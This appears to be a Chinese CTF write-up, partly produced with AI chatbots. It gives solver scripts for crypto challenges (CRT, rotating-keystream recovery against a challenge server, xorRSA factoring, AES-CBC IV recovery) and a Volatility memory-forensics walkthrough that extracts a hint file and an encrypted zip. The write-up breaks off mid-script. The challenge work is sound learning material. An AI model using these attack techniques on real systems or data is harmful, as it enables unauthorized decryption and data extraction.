crypto
这我是真不会,基本都ai,建议跳过
[Week1] Basic Number theory
Gemini Gemini
from Crypto.Util.number import long_to_bytes, inverse
# 挑战中给出的数值p = 71380997427449345634700552609577271052193856747526826598031269184817312570231q = 65531748297495117965939047069388412545623909154912018722160805504300279801251gift1 = 40365143212042701723922505647865230754866250738391105510918441288000789123995gift2 = 10698628345523517254945893573969253712072344217500232111817321788145975103342
def solve_crt(a1, n1, a2, n2): """求解同余方程组 x ≡ a1 (mod n1), x ≡ a2 (mod n2)""" N = n1 * n2 # 使用公式: x = a1*n2*inv(n2,n1) + a2*n1*inv(n1,n2) mod N # 其中 inv(a, m) 是 a 在模 m 下的乘法逆元 x = (a1 * n2 * inverse(n2, n1) + a2 * n1 * inverse(n1, n2)) % N return x
# m 的四种可能同余情况# m 与 (+/-)gift1 模 p 同余# m 与 (+/-)gift2 模 q 同余options = [ (gift1, gift2), (gift1, -gift2 % q), (-gift1 % p, gift2), (-gift1 % p, -gift2 % q)]
print("正在检查所有4种可能的解:")for res_p, res_q in options: # 使用中国剩余定理 (Chinese Remainder Theorem) 求解 m m_candidate = solve_crt(res_p, p, res_q, q) try: # 将数字转换回字节,看看它是否是 flag flag = long_to_bytes(m_candidate) # 检查结果是否为包含 'flag' 的可打印字符串 if b'flag' in flag: print(f"[*] 找到 Flag: {flag.decode()}") else: print(f"[ ] 不是 Flag: {flag}") except Exception as e: print(f"[!] 转换候选值时出错: {e}")正在检查所有4种可能的解:[ ] 不是 Flag: b'YP:\x08gM{\x80\xc0\x9b\xe38\xe1\x86\x81\xe7%\xc8\xae\xce^\x9b^P!\x06\x18\xf0\x92\x87\xf2C\xba"\xba\xe7]\xcbsg\xc0\xf2d\xa3\xc0,\xf6s\'/\x8e\xfd\xdb\xf1\x92\x08\x7f\xe4`\xf4\'s6H'[ ] 不是 Flag: b"5a\x85\x14\xca\xaa\xa4\xce\xcb\xad\x81\xe4\xbb\xd1\xa4Gz\xb6\xa1l\x05\x1c\x00\xccX'\xc4,\xcc\x8f\xfb \xc7Y\xdb\xae\x93\xfc\xf4\xd4?F\xa9\x80C\x84\xd1{\xbec\x02lm\xa3\x85\xbf\xcb\xa0\x1f\xbeJ\x83s\xd0"[ ] 不是 Flag: b'#\xee\xb4\xf3\x9c\xa2\xd6\xb1\xf4\xeeaT%\xb4\xdd\x9f\xab\x12\rbY\x7f]\x83\xc8\xdeU*2Y^\x9eG1\x12\x98,\xfe\xf1\x01\xe7\x1d\xf0\x97\xad\x16\x8aV\x992\xeb\xd4\xa0\xc7|\xbc\xe4\xab\xb3vMX;\xf5'[*] 找到 Flag: flag{Th3_c0rner5t0ne_0f_C2ypt0gr@phy}[Week1] Strange Machine
GPTGPT
轮转密钥 (rotating keystream) 式 OTP/XOR 问题
思路(简短):
服务里 Key.generate() 每次把同一个 seed 循环左移 offset 字节(seed = seed[offset:] + seed[
程序在开始时打印了第一个密文 cipher1 = pad(plaintext) xor k1(这是我们要恢复的明文对应的密文)。 我们可以用交互选项让服务为任意消息加密。若我们提交空消息(长度 0),padding 会是已知的(整块都是 msg_len 这个字节值),因此得到的密文就是 cipher_i = pad0 xor k_i,从而能直接恢复 k_i: k_i = cipher_i xor pad0。
两个连续的 k_i 和 k_{i+1} 互为循环移位(移位量等于 offset)。因此我们: 取到服务打印的 cipher1(对应 k1 与未知明文); 请求两次“空消息”加密,得到 cipher2 和 cipher3,从而恢复 k2 和 k3; 计算出把 k2 旋转多少字节可以得到 k3,这个旋转量就是 offset(模 msg_len); 用 offset 把 k2 反向旋转得到 k1; plaintext_padded = cipher1 xor k1,去 PKCS 风格 padding 就拿到明文。 最后把明文通过菜单选项 2 提交,拿 flag。
关键点:通过观察 base64 解码后密文的字节长度可以直接得到 msg_len,并且 pad 的实现保证当 msg_len < 256 时 padding 是单字节重复(题目代码的实现保证这一点),所以空消息的 padding 是已知的 bytes([msg_len]) * msg_len。
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import remote, xorfrom base64 import b64decodeimport re
HOST = 'challenge.ilovectf.cn'PORT = 30001
def parse_b64_from_line_str(line: str) -> str: """ Parse patterns like: [*] 首次密文(base64):b'...' Return the inner base64 string (as str), or fallback part after colon. """ m = re.search(r"b'([^']+)'", line) if m: return m.group(1) # fallback: take after last colon and strip part = line.split(':', 1)[-1].strip() # if starts with b' and ends with ' if part.startswith("b'") and part.endswith("'"): return part[2:-1] return part
def rotate(bs: bytes, s: int) -> bytes: s %= len(bs) return bs[s:] + bs[:s]
def main(): r = remote(HOST, PORT) # read until the line containing the first cipher first_cipher_b64 = None while True: raw = r.recvline(timeout=5) if not raw: break try: line = raw.decode('utf-8', errors='ignore') except: line = str(raw) # print(line, end='') # uncomment to debug if '首次密文(base64):' in line or '首次密文' in line: b64 = parse_b64_from_line_str(line) if b64: first_cipher_b64 = b64 break # maybe next line contains the b'...' nxt_raw = r.recvline(timeout=2) if not nxt_raw: break try: nxt = nxt_raw.decode('utf-8', errors='ignore') except: nxt = str(nxt_raw) first_cipher_b64 = parse_b64_from_line_str(nxt) break
if not first_cipher_b64: print("无法读取首次密文,退出。收到的最后输出(utf-8-ignore):") print(r.recv(timeout=1).decode('utf-8', errors='ignore')) return
c1 = b64decode(first_cipher_b64) msg_len = len(c1) print(f"[+] detected msg_len = {msg_len}") pad0 = bytes([msg_len]) * msg_len
def enc_empty(): r.sendline("1") # send menu choice as str; pwntools will encode # wait prompt (decode stream until prompt appears) blk = r.recvuntil("请输入要加密的消息".encode(), timeout=3) if isinstance(b"dummy", bytes) else None # send an empty line (service will treat it as empty input) r.sendline(b"") # read until we see the line that contains the ciphertext while True: raw = r.recvline(timeout=4) if not raw: break try: line = raw.decode('utf-8', errors='ignore') except: line = str(raw) if '你的消息已加密(密文):' in line or '你的消息已加密' in line: return parse_b64_from_line_str(line) return None
print("[*] 请求两次空消息加密以恢复轮转 keystream...") b64_2 = enc_empty() if not b64_2: print("enc_empty failed (1)") return b64_3 = enc_empty() if not b64_3: print("enc_empty failed (2)") return
c2 = b64decode(b64_2) c3 = b64decode(b64_3)
k2 = xor(c2, pad0) k3 = xor(c3, pad0)
s = None for shift in range(msg_len): if rotate(k2, shift) == k3: s = shift break if s is None: print("无法确定 offset(未找到使 k2 轮转到 k3 的 shift)") return print(f"[+] detected offset = {s} (mod {msg_len})")
k1 = rotate(k2, (-s) % msg_len) padded = xor(c1, k1) pad_len = padded[-1] if pad_len <= 0 or pad_len > msg_len: print("[!] padding length 看起来不对,打印 padded (hex):") print(padded.hex()) return
if padded[-pad_len:] != bytes([pad_len]) * pad_len: print("[!] padding 验证失败,但仍尝试截取前部") plaintext = padded[:-pad_len] print("[+] recovered plaintext (bytes):", plaintext) try: print("[+] recovered plaintext (utf-8):", plaintext.decode()) except: pass
# submit via menu option 2 r.sendline("2") r.recvuntil("请输入待校验的明文", timeout=3) r.sendline(plaintext) # read responses out = r.recvall(timeout=3) try: print(out.decode('utf-8', errors='ignore')) except: print(out) r.close()
if __name__ == "__main__": main()(base) ➜ [Week1] Strange Machine python exp.py[+] Opening connection to challenge.ilovectf.cn on port 30001: Done[+] detected msg_len = 16[*] 请求两次空消息加密以恢复轮转 keystream.../Users/chao/tmp/ctf/crypto/[Week1] Strange Machine/exp.py:69: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes r.sendline("1") # send menu choice as str; pwntools will encode[+] detected offset = 3 (mod 16)[+] recovered plaintext (bytes): b'Oh,you find it!'[+] recovered plaintext (utf-8): Oh,you find it!/Users/chao/tmp/ctf/crypto/[Week1] Strange Machine/exp.py:131: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes r.sendline("2")/Users/chao/tmp/ctf/crypto/[Week1] Strange Machine/exp.py:132: BytesWarning: Text is not bytes; assuming UTF-8, no guarantees. See https://docs.pwntools.com/#bytes r.recvuntil("请输入待校验的明文", timeout=3)[+] Receiving all data: Done (68B)[*] Closed connection to challenge.ilovectf.cn port 30001: [*] 这是你的flag: flag{6d8c67e5-c9fe-4eb9-8eb1-806e3821978f}[Week1] beyondHex
学到了学到了
# 挑战中的密文base17_string = "807G6F429C7FA2200F46525G1350AB20G339D2GB7D8"
# Base17 (17进制) 使用的字符集base17_alphabet = "0123456789ABCDEFG"
# 将Base17字符串转换为十进制整数decimal_value = 0for char in base17_string: decimal_value = decimal_value * 17 + base17_alphabet.find(char)
# 将整数转换为字节,然后用ASCII解码# 首先,计算所需的字节数byte_length = (decimal_value.bit_length() + 7) // 8# 转换为字节byte_string = decimal_value.to_bytes(byte_length, 'big')# 解码得到flagflag = byte_string.decode('ascii')
print(flag)# 输出: flag{welc0me_t0_?CTF!}[Week1] xorRSA
GPTGPT
# Attempt to recover p and q given n and x = p ^ q, then recover the flag m from c.# This uses a bit-by-bit backtracking reconstruction using constraints from n mod 2^k.# The provided n, e, c, p_q are pasted from the user's problem.from math import ceil, log2
n = 18061840786617912438996345214060567122008006566608565470922708255493870675991346333993136865435336505071047681829600696007854811200192979026938621307808394735367086257150823868393502421947362103403305323343329530015886676141404847528567199164203106041887980250901224907217271412495658238000428155863230216487699143138174899315041844320680520430921010039515451825289303532974354096690654604842256150621697967106463329359391655215554171614421198047559849727235032270127681416682155240317343037276968357231651722266548626117109961613350614054537118394055824940789414473424585411579459583308685751324937629321503890169493e = 65537c = 17953801553187442264071031639061239403375267544951822039441227630063465978993165328404783737755442118967031318698748459837999730471765908918892704038188635488634468552787554559846820727286284092716064629914340869208385181357615817945878013584555521801850998319665267313161882027213027139165137714815505996438717880253578538572193138954426764798279057176765746717949395519605845713927900919261836299232964938356193758253134547047068462259994112344727081440167173365263585740454211244943993795874099027593823941471126840495765154866313478322190748184566075583279428244873773602323938633975628368752872219283896862671494x = 88775678961253172728085584203578801290397779093162231659217341400681830680568426254559677076410830059833478580229352545860384843730990300398061904514493264881401520881423698800064247530838838305224202665605992991627155227589402516343855527142200730379513934493657380099647739065365753038212480664586174926100
# helper functionsdef bits_of(n): return n.bit_length()
BITS = max(bits_of(n), bits_of(x))mask_cache = [(1<<i)-1 for i in range(BITS+2)]
n_bits = n.bit_length()
# Precompute n mod 2^k values to compare quicklyn_mods = [n & mask_cache[k] for k in range(BITS+1)]
# We'll reconstruct p and q LSB to MSB.x_bits = [(x>>i)&1 for i in range(BITS)]
# We'll maintain partial product array: product_mod = current partial product mod 2^k# To update efficiently when we set bit k for p or q, we add contributions p_k * (q_partial) << k and q_k * (p_partial) << k and p_k*q_k << (2k) but latter won't affect modulo 2^{k+1} until 2k < k+1 (i.e. never), so we only need to consider cross-terms.# Simpler (and safe): compute product from known bits each time, since BITS ~ 2048 worst-case but actual p and q ~1024 bits; computing convolution each step is okay.
from functools import lru_cache
@lru_cache(None)def compute_partial_product(p_bits_tuple, q_bits_tuple): # p_bits_tuple and q_bits_tuple are tuples of bits (LSB..MSB known length k) k = len(p_bits_tuple) P = 0 Q = 0 for i, b in enumerate(p_bits_tuple): if b: P |= (1<<i) for i, b in enumerate(q_bits_tuple): if b: Q |= (1<<i) return (P * Q) & ((1<<k)-1)
# backtrackingfrom collections import deque
def recover_p_q(n, x): B = x.bit_length() # We'll try to find p and q with up to B bits, but actual primes may have fewer; allow up to n.bit_length() max_bits = n.bit_length()//2 + 2 # rough bound max_bits = max(B, max_bits) # Start with empty bits stack = deque() # state: (i, p_bits_tuple, q_bits_tuple) stack.append((0, (), ())) attempt = 0 while stack: i, p_bits, q_bits = stack.pop() attempt += 1 if attempt % 100000 == 0: print(f'Attempts {attempt}, depth {i}') if i >= max_bits: # constructed enough bits, try forming integers and check full product == n P = sum((bit<<idx) for idx, bit in enumerate(p_bits)) Q = sum((bit<<idx) for idx, bit in enumerate(q_bits)) if P*Q == n: return P, Q continue xi = x_bits[i] if i < len(x_bits) else 0 # possible bit pairs (a,b) with a xor b == xi candidates = [] if xi == 0: candidates = [(0,0),(1,1)] else: candidates = [(0,1),(1,0)] for a,b in candidates: new_p = p_bits + (a,) new_q = q_bits + (b,) # compute partial product modulo 2^{i+1} prod_mod = compute_partial_product(new_p, new_q) if prod_mod != (n & ((1<<(i+1))-1)): continue # otherwise push next stack.append((i+1, new_p, new_q)) return None, None
p, q = recover_p_q(n, x)if p is None: print("Failed to recover p and q.")else: if p*q != n: p, q = q, p # swap maybe print("Recovered p and q. Checking primality...") print("p bitlen:", p.bit_length(), "q bitlen:", q.bit_length()) # compute private exponent d from math import gcd phi = (p-1)*(q-1) def inv(a, m): # modular inverse return pow(a, -1, m) d = inv(e, phi) # recover m m = pow(c, d, n) # convert to bytes def long_to_bytes(n): s = hex(n)[2:] if len(s)%2: s = '0'+s return bytes.fromhex(s) flag = long_to_bytes(m) print("Flag:", flag)[Week2] AES_mode
看不懂,这题算Gemini的。AES-CBC
from Crypto.Cipher import AESfrom Crypto.Util.number import long_to_bytesfrom binascii import unhexlify
# 题目给出的数据xor_output = 91749376808341004327450956291130629671202939702313462998246826182668975563684last_ciphertext_hex = b'8f325d5b5c5454680628fa08746d67cf'msg = b'Welcome to ?CTF! , I hope you can have fun!!!!!!'
# --- 第一步:恢复密钥 (Key) ---
# 将大数分割为高128位和低128位# 高128位 (hint_upper)hint_upper_long = xor_output >> 128# 低128位 (hint_lower ^ key)xor_lower_long = xor_output & ((1 << 128) - 1)
# key = hint_upper ^ (hint_lower ^ key)key_long = hint_upper_long ^ xor_lower_longkey = long_to_bytes(key_long, 16)
print(f"✅ Recovered Key: {key.hex()}")
# --- 第二步:逆向 CBC 解密链 ---
# 准备明文块和最后一块密文p1 = msg[0:16]p2 = msg[16:32]p3 = msg[32:48]c3 = unhexlify(last_ciphertext_hex)
# 创建一个 ECB 模式的解密器,用于解密单个区块# 注意:虽然原始模式是 CBC,但我们手动进行 XOR,所以只需要核心的块解密功能,即 ECBdecrypter = AES.new(key, AES.MODE_ECB)
# 异或操作辅助函数def xor_bytes(a, b): return bytes(x ^ y for x, y in zip(a, b))
# 1. 求 C2decrypted_c3 = decrypter.decrypt(c3)c2 = xor_bytes(decrypted_c3, p3)
# 2. 求 C1decrypted_c2 = decrypter.decrypt(c2)c1 = xor_bytes(decrypted_c2, p2)
# 3. 求 iv (flag_content)decrypted_c1 = decrypter.decrypt(c1)iv = xor_bytes(decrypted_c1, p1)
# 组装最终的 flagflag = b'flag{' + iv + b'}'print(f"🚩 Final Flag: {flag.decode()}")✅ Recovered Key: 9b39ce9c46e63788507896d6c16f2d33🚩 Final Flag: flag{CBc_Us3s_Iv!=ECb}forensics
[Week2] 你也喜欢win7吗
解压得到内存镜像,先探明系统版本vol -f memory.raw windows.info得到:
Variable Value
Kernel Base 0xf80003e06000DTB 0x187000Symbols file:///Users/chao/miniconda3/lib/python3.13/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/3844DBB920174967BE7AA4A2C20430FA-2.json.xzIs64Bit TrueIsPAE Falselayer_name 0 WindowsIntel32ememory_layer 1 FileLayerKdDebuggerDataBlock 0xf80003ff70a0NTBuildLab 7601.17514.amd64fre.win7sp1_rtm.CSDVersion 1KdVersionBlock 0xf80003ff7068Major/Minor 15.7601MachineType 34404KeNumberProcessors 2SystemTime 2025-10-02 17:19:03+00:00NtSystemRoot C:\WindowsNtProductType NtProductWinNtNtMajorVersion 6NtMinorVersion 1PE MajorOperatingSystemVersion 6PE MinorOperatingSystemVersion 1PE Machine 34404PE TimeDateStamp Sat Nov 20 09:30:02 2010确实是win7,win7sp1_rtm
(base) ➜ forensics vol -f memory.raw windows.pstreeVolatility 3 Framework 2.26.2
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime Audit Cmd Path
4 0 System 0xfa800905c840 90 556 N/A False 2025-10-02 15:07:27.000000 UTC N/A - - -* 232 4 smss.exe 0xfa800a263b30 3 33 N/A False 2025-10-02 15:07:27.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\smss.exe \SystemRoot\System32\smss.exe \SystemRoot\System32\smss.exe304 288 csrss.exe 0xfa800aff3860 9 444 0 False 2025-10-02 15:07:28.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\csrss.exe - -344 288 wininit.exe 0xfa800b55cb30 3 76 0 False 2025-10-02 15:07:28.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\wininit.exe - -* 468 344 lsm.exe 0xfa800c04d190 11 238 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\lsm.exe C:\Windows\system32\lsm.exe C:\Windows\system32\lsm.exe* 460 344 lsass.exe 0xfa800b093b30 8 877 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\lsass.exe C:\Windows\system32\lsass.exe C:\Windows\system32\lsass.exe* 444 344 services.exe 0xfa800b079440 12 215 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\services.exe C:\Windows\system32\services.exe C:\Windows\system32\services.exe** 640 444 svchost.exe 0xfa800b182290 8 295 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k RPCSS C:\Windows\system32\svchost.exe** 1568 444 SearchIndexer. 0xfa800af3eb30 13 683 0 False 2025-10-02 15:07:36.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\SearchIndexer.exe C:\Windows\system32\SearchIndexer.exe /Embedding C:\Windows\system32\SearchIndexer.exe*** 2204 1568 SearchProtocol 0xfa800a193360 8 277 0 False 2025-10-02 17:18:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\SearchProtocolHost.exe "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe15_ Global\UsGthrCtrlFltPipeMssGthrPipe15 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\system32\SearchProtocolHost.exe*** 1836 1568 SearchFilterHo 0xfa800b1d79c0 5 93 0 False 2025-10-02 17:18:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\SearchFilterHost.exe "C:\Windows\system32\SearchFilterHost.exe" 0 508 512 520 65536 516 C:\Windows\system32\SearchFilterHost.exe** 1304 444 svchost.exe 0xfa800a145b30 7 107 0 False 2025-10-02 15:11:00.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe - -** 2392 444 svchost.exe 0xfa800b6eb8c0 10 367 0 False 2025-10-02 15:07:37.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServicePeerNet C:\Windows\System32\svchost.exe** 1060 444 svchost.exe 0xfa800b8a8960 13 317 0 False 2025-10-02 15:09:31.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k secsvcs C:\Windows\System32\svchost.exe** 1496 444 sppsvc.exe 0xfa800b84b060 4 151 0 False 2025-10-02 15:09:31.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe C:\Windows\system32\sppsvc.exe** 776 444 svchost.exe 0xfa800b21c060 28 558 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted C:\Windows\System32\svchost.exe*** 1428 776 dwm.exe 0xfa800b4e09b0 3 85 1 False 2025-10-02 15:07:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\dwm.exe "C:\Windows\system32\Dwm.exe" C:\Windows\system32\Dwm.exe** 264 444 svchost.exe 0xfa800b2bc060 22 663 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k NetworkService C:\Windows\system32\svchost.exe*** 3048 264 rdpclip.exe 0xfa800a234b30 8 169 1 False 2025-10-02 16:48:56.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\rdpclip.exe rdpclip C:\Windows\system32\rdpclip.exe** 1128 444 wmpnetwk.exe 0xfa800b76a060 13 416 0 False 2025-10-02 15:07:36.000000 UTC N/A \Device\HarddiskVolume1\Program Files\Windows Media Player\wmpnetwk.exe "C:\Program Files\Windows Media Player\wmpnetwk.exe" C:\Program Files\Windows Media Player\wmpnetwk.exe** 1516 444 svchost.exe 0xfa800b6b6b30 25 350 0 False 2025-10-02 15:07:37.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation C:\Windows\system32\svchost.exe** 944 444 svchost.exe 0xfa800b287b30 18 506 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService C:\Windows\system32\svchost.exe** 1232 444 taskhost.exe 0xfa800b44f420 9 222 1 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\taskhost.exe "taskhost.exe" C:\Windows\system32\taskhost.exe** 724 444 svchost.exe 0xfa800a8a1350 24 613 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted C:\Windows\System32\svchost.exe*** 1860 724 audiodg.exe 0xfa800a172060 7 128 0 False 2025-10-02 17:18:44.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\audiodg.exe C:\Windows\system32\AUDIODG.EXE 0x5f4 C:\Windows\system32\AUDIODG.EXE** 564 444 svchost.exe 0xfa800b0f2270 10 355 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch C:\Windows\system32\svchost.exe** 820 444 svchost.exe 0xfa800b23a9e0 37 1078 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs C:\Windows\system32\svchost.exe** 532 444 spoolsv.exe 0xfa800b3666d0 14 580 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\spoolsv.exe C:\Windows\System32\spoolsv.exe C:\Windows\System32\spoolsv.exe** 1048 444 svchost.exe 0xfa800b3816c0 19 313 0 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork C:\Windows\system32\svchost.exe364 352 csrss.exe 0xfa8009068060 10 283 1 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 C:\Windows\system32\csrss.exe* 2620 364 conhost.exe 0xfa80091b6b30 2 59 1 False 2025-10-02 15:23:50.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\conhost.exe \??\C:\Windows\system32\conhost.exe C:\Windows\system32\conhost.exe400 352 winlogon.exe 0xfa800b057060 3 117 1 False 2025-10-02 15:07:29.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\winlogon.exe winlogon.exe C:\Windows\system32\winlogon.exe1488 1392 explorer.exe 0xfa800b4eeb30 34 1145 1 False 2025-10-02 15:07:30.000000 UTC N/A \Device\HarddiskVolume1\Windows\explorer.exe C:\Windows\Explorer.EXE C:\Windows\Explorer.EXE* 2024 1488 wordpad.exe 0xfa80091e5b30 6 203 1 False 2025-10-02 17:16:30.000000 UTC N/A \Device\HarddiskVolume1\Program Files\Windows NT\Accessories\wordpad.exe "C:\Program Files\Windows NT\Accessories\WORDPAD.EXE" "C:\Users\C3ngH\Desktop\hint.txt" C:\Program Files\Windows NT\Accessories\WORDPAD.EXE* 2624 1488 mspaint.exe 0xfa800b3f7a70 6 127 1 False 2025-10-02 17:16:41.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\mspaint.exe "C:\Windows\system32\mspaint.exe" C:\Windows\system32\mspaint.exe* 2020 1488 cmd.exe 0xfa800a1ca630 1 22 1 False 2025-10-02 15:23:50.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" C:\Windows\system32\cmd.exe** 2716 2020 DumpIt.exe 0xfa800b5fe060 1 25 1 True 2025-10-02 17:19:00.000000 UTC N/A \Device\HarddiskVolume1\Users\C3ngH\Desktop\DumpIt.exe DumpIt.exe C:\Users\C3ngH\Desktop\DumpIt.exe2516 528 csrss.exe 0xfa800a23d210 7 77 3 False 2025-10-02 16:48:55.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\csrss.exe %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 C:\Windows\system32\csrss.exe1252 528 winlogon.exe 0xfa800a273060 4 98 3 False 2025-10-02 16:48:55.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\winlogon.exe winlogon.exe C:\Windows\system32\winlogon.exe* 716 1252 LogonUI.exe 0xfa800a2cdb30 7 186 3 False 2025-10-02 16:48:55.000000 UTC N/A \Device\HarddiskVolume1\Windows\System32\LogonUI.exe "LogonUI.exe" /flags:0x0 C:\Windows\system32\LogonUI.exe发现这个
* 2024 1488 wordpad.exe 0xfa80091e5b30 6 203 1 False 2025-10-02 17:16:30.000000 UTC N/A \Device\HarddiskVolume1\Program Files\Windows NT\Accessories\wordpad.exe "C:\Program Files\Windows NT\Accessories\WORDPAD.EXE" "C:\Users\C3ngH\Desktop\hint.txt" C:\Program Files\Windows NT\Accessories\WORDPAD.EXE
** 2716 2020 DumpIt.exe 0xfa800b5fe060 1 25 1 True 2025-10-02 17:19:00.000000 UTC N/A \Device\HarddiskVolume1\Users\C3ngH\Desktop\DumpIt.exe DumpIt.exe C:\Users\C3ngH\Desktop\DumpIt.exe搜索一下关键词hint.txt和flag,哦吼?!
(base) ➜ forensics vol -f memory.raw windows.filescan | grep -i "hint.txt"0x29457910 100.0\Users\C3ngH\Desktop\hint.txt0x2a15a9f0 \Users\C3ngH\AppData\Roaming\Microsoft\Windows\Recent\hint.txt.lnk
(base) ➜ forensics vol -f memory.raw windows.dumpfiles --physaddr 0x29457910Volatility 3 Framework 2.26.2Progress: 100.00 PDB scanning finishedCache FileObject FileName Result
DataSectionObject 0x29457910 hint.txt Error dumping file
(base) ➜ forensics mv file.0x29457910.0xfa8009896460.DataSectionObject.hint.txt.dat hint.txt(base) ➜ forensics cat hint.txt*画图*真好用啊,可以把一些我记不住的密码画出来,还不容易被其他人找到…所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~%
(base) ➜ forensics vol -f memory.raw windows.filescan | grep -i "flag"0x2b10e070 100.0\Users\C3ngH\Desktop\flag.zip
(base) ➜ forensics vol -f memory.raw windows.dumpfiles --physaddr 0x2b10e070Volatility 3 Framework 2.26.2Progress: 100.00 PDB scanning finishedCache FileObject FileName Result
DataSectionObject 0x2b10e070 flag.zip file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat(base) ➜ forensics lsdumpfiles proc_dumpsfile.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat 你也喜欢win7吗.7zmemory.raw
(base) ➜ forensics file file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.datfile.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted(base) ➜ forensics mv file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat flag.zip
(base) ➜ forensics unzip flag.zipArchive: flag.zip skipping: flag.txt unsupported compression method 99
(base) ➜ forensics unzip -v flag.zipArchive: flag.zip Length Method Size Cmpr Date Time CRC-32 Name-------- ------ ------- ---- ---------- ----- -------- ---- 29 Unk:099 47 -62% 10-02-2025 23:35 af10f254 flag.txt-------- ------- --- ------- 29 47 -62% 1 file他喵的,现在一看到压缩包密码就害怕😨。
*画图*真好用啊,可以把一些我记不住的密码画出来,还不容易被其他人找到…所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~%结合题目提到的2560*1600,先dump出来再说vol -f memory.raw windows.memmap --pid 2624 --dump,获得pid.2624.dmp,然后让ai写代码提取指定大小的图片:
import osfrom PIL import Imageimport struct
# --- 配置参数 ---DUMP_FILE_PATH = "pid.2624.dmp"OUTPUT_DIR = "extracted_images_fixed"TARGET_WIDTH = 2560TARGET_HEIGHT = 1600BITS_PER_PIXEL = 32 # 假设为 32-bit (BGRA)# 原始像素数据大小 (2560 * 1600 * 4 字节)PIXEL_DATA_SIZE = TARGET_WIDTH * TARGET_HEIGHT * (BITS_PER_PIXEL // 8)# 允许的尺寸误差范围 (用于原始数据块搜索)SIZE_TOLERANCE_MB = 0.5
# --- 主提取函数 ---
def search_and_extract_raw(data): """搜索原始像素数据块,强制不透明并保存为 PNG 文件"""
print(f"[*] 正在搜索 {TARGET_WIDTH}x{TARGET_HEIGHT} 的原始像素数据 ({PIXEL_DATA_SIZE / 1024 / 1024:.2f} MB)...")
